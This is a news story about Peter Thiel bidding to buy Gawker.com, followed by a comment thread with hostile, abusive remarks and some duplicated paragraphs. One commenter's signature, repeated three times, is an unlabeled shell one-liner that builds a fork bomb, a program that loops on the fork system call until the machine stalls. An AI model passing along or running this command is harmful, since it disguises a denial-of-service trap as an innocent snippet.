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Peter Thiel Is Now Bidding on Gawker.com (reuters.com)
An anonymous reader writes:
Its official. "Venture capitalist Peter Thiel has made an offer for Gawker," reports Reuters, adding that the potential acquisition "would let him take down stories regarding his personal life that are still available on the website, and remove the scope for further litigation between him and Gawker." It was Thiel's 2016 lawsuit which bankrupted the site, prompting a Washington Post blogger to write that Thiel "killed Gawker once. Now it looks like he may kill it again."
Elsewhere the Washington Post argues the whole episode "highlighted the immense legal risk borne by news outlets already facing a precarious financial reality in the digital age." The Post's blogger describes Thiel as "a billionaire leveraging his wealth to obliterate a media outlet...as part of a personal vendetta."
Last month former Gawker staffers attempted to crowdfund the purchase and relaunch of Gawker.com as a nonprofit media organization. But their 1,496 backers only pledged $89,844, far short of the campaign's $500,000 target.
Elsewhere the Washington Post argues the whole episode "highlighted the immense legal risk borne by news outlets already facing a precarious financial reality in the digital age." The Post's blogger describes Thiel as "a billionaire leveraging his wealth to obliterate a media outlet...as part of a personal vendetta."
Last month former Gawker staffers attempted to crowdfund the purchase and relaunch of Gawker.com as a nonprofit media organization. But their 1,496 backers only pledged $89,844, far short of the campaign's $500,000 target.
Trump should take notice and buy all the fake news outlets...
Nick Denton.
And I don't mean in a metaphorical sense either. He'll have him serving drinks to Trump in a MAGA hat when Trump comes to visit.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
Yeah, it turns out running this story was not a good idea
http://gawker.com/a-judge-told...
Who'd have thought that contempt of court could turn the judiciary against you and get you nailed for crippling damages when someone whose privacy your tabloid bullshit has violated sues you?
https://en.wikipedia.org/wiki/...
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
The Gawker name might be dead, but you're a fool if you think they already haven't been replaced by a different outfit of the same style under a new name. You can say that when it comes down to it, not many people are actually willing to put down their own money to pay for Gawker, but there are loads who are willing to give it their attention and Gawker made plenty of money from showing ads to that captive audience over the years.
This is a failure of one particular entity. I suspect that total viewership for yellow journalism as a whole hasn't budged a bit, and as long as there is consumer demand for something, other people are going to strive to fulfill that demand.
"highlighted the immense legal risk borne by news outlets already facing a precarious financial reality in the digital age."
No it highlights that contrary to what shithead blogposter thimk (gawker people are not what I would call journalist or even news) privacy protection DOES exists even in the US and the web is not a free post-it-all-for-money, there are consequences. Gawker be damned they earned their happenstance.
C. Sagan : A demon haunted world:
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visit randi.org
Gawker refused to remove pictures of a woman being raped when asked to. There are limits to free speech: We do not allow revenge porn, we do not allow sites like Gawker which have no respect for people's privacy or feelings. Gawker was the site with a writer who ruined a woman for posting an insensitive but harmless joke on Twitter.
Good riddance to bad rubbish.
Gawker violated a court order. That was the cause of their downfall. Gawker outed Thiel as a homosexual and claimed the Hogan sex tape was public interest. Meanwhile they claimed viewing photos of Jennifer Lawrence nude was the equivalent of sexual assault. The head of Gawker told a jude he would publish nude photos of a four year old if it was in the public interest. Gawker deserved everything they brought upon themselves.
Only the State obtains its revenue by coercion. - Murray Rothbard
I bet whoever steps in to replace Gawker will realise if a judge orders them to take down sex tape, they either comply or get bankrupted when the person in the sex tape sues.
Funnily enough when people refused to take down Jennifer Lawrence's leaked nudes Jezebel denounced them, even though they'd previously drawn everyone's attention to the leak. Jezebel was owned by Gawker media. Meanwhile Gawker decided to keeping up a leaked sex tape of Hulk Hogan in defiance of a court order was the hill they'd die on. Quite literally - Hogan sued them and that ended Gawker.
https://i.imgur.com/CQ5qgvu.jp...
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
Quite probable other "news" sites had replaced Gawker, but their punishment is still useful pour encourager les autres.
Whenever someone mentions Gawker I think of hipsters browsing the web on their Mac's with their ironic beards.
Hey, Jude ...
It little behooves the best of us to comment on the rest of us.
*surfers
It little behooves the best of us to comment on the rest of us.
so here I go again defending Gawker. Gawker did a lot of real journalism and used the muck raking to pay for it. A tradition that's as old as journalism itself. Thiel didn't shut them down because he was outed as gay, he shut them down because they kept reporting on his shady business deals. And their mistake wasn't ignoring the court order. That gets done all the time in their line of work. Their mistake was not realizing that Hogan was backed by Thiel for the express purpose of shutting them down.
What we have here is a pretty scary precedent. We have a billionaire using his money and the legal system to shut down somebody critical of him. If anyone honestly believes that'll end well for us working stiffs then they haven't been paying attention to the last 300 years of labor relations...
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To be fair, Thiel was paying for it, so it was kind of his.
Not really. The case was decided on the actions of Gawker and Bollea, decided on the merits of the case. Thiel's funding does not change the underlying facts. That's why the case is Bollea's. All you can really argue is that Thiel allowed Bollea to have good representation and make a good case and see things to the end.
... but the case is always the selected person's, not the organization that funds it.
Having an agenda, shopping around looking for a person to make your case upon, that happens all the time. Environmental activists do it, civil rights activist do it,
Who is he? What is his goal? Where is he doing this stuff? Why is he so pissed-off? When did he learn of the offense? How is he intending to achieve his goals?
In a world of the blind, the one-eyed man is king--and the two-eyed man is a heretic.
Writers with gawker through the affiliated Jezebel regularly supported huge cash payouts for these sort of privacy invasions in the context of feminism. Among other things they wrote stories crowing over the huge multimillion dollar settlement some dizzy female sports reporter got from a hotel because a rogue employee recorded her. What's good for the goose....
I'm a conspiracy analyst.
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You'd like that wouldn't you?
As a generally progression to a free democracy, indentured servitude, debt slavery have all been abolished.
We'd all like it. But it wouldn't be a case of indentured servitude, it would be the courts ordering Denton lobotomized and then hit drooling husk would serve drinks for the pleasure of all he had wronged. That would be a just scenario for people like Nick Denton.
You may want to support people who love to publicize the rapes of others and revenge porn, but the rest of us have some degree of moral fiber.
I hope he simply deletes that shithole of a site in its entirety. Fuck Gawker, and fuck anyone who ever worked with those thieving motherfuckers in any capacity.
-jcr
The only title of honor that a tyrant can grant is "Enemy of the State."
That's an interesting idea. It's not like there's much money to be recovered, but those people certainly deserve to have seven-figure judgements hanging over their heads for the rest of their lives.
-jcr
The only title of honor that a tyrant can grant is "Enemy of the State."
"Mostly" read by liberals, antifa, BLM, socialist, progressives...ie: the ones that think everything should be FREE...so, it's no wonder they didn't have any people funding a potential "relaunch". They are ok with spending OTHER peoples money, but NOT their own. "Last month former Gawker staffers attempted to crowdfund the purchase and relaunch of Gawker.com as a nonprofit media organization. But their 1,496 backers only pledged $89,844, far short of the campaign's $500,000 target."
All true.
Thiel is also a disgusting, degenerate piece of shit that the world would be better without.
None of these things are mutually exclusive.
that kind of brazenness is par for the course. The point of these lawsuits is for both parties to get some publicity. That's why 99% of the time they're settled out of court. It's more a less a game with both sides playing. The trouble is Gawker didn't realize Hogan wasn't the one playing, Thiel was, and Thiel wasn't playing the same game, he was out for blood.
Now, I suppose you could make the argument that our legal system shouldn't be used to this, but then again the public at large allows it because they find this kind of public theater intensely amusing; even if you and I find it stupid and wasteful. But again, that's missing the point. Gawker's real mistake was not seeing through Hogan to Thiel in time to save themselves.
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"If you're not doing anything wrong what have you got to fear?". Trust me, with several billion dollars you can put just about anyone away.
Hi! I make Firefox Plug-ins. Check 'em out @ https://addons.mozilla.org/en-US/firefox/addon/youtube-mp3-podcaster/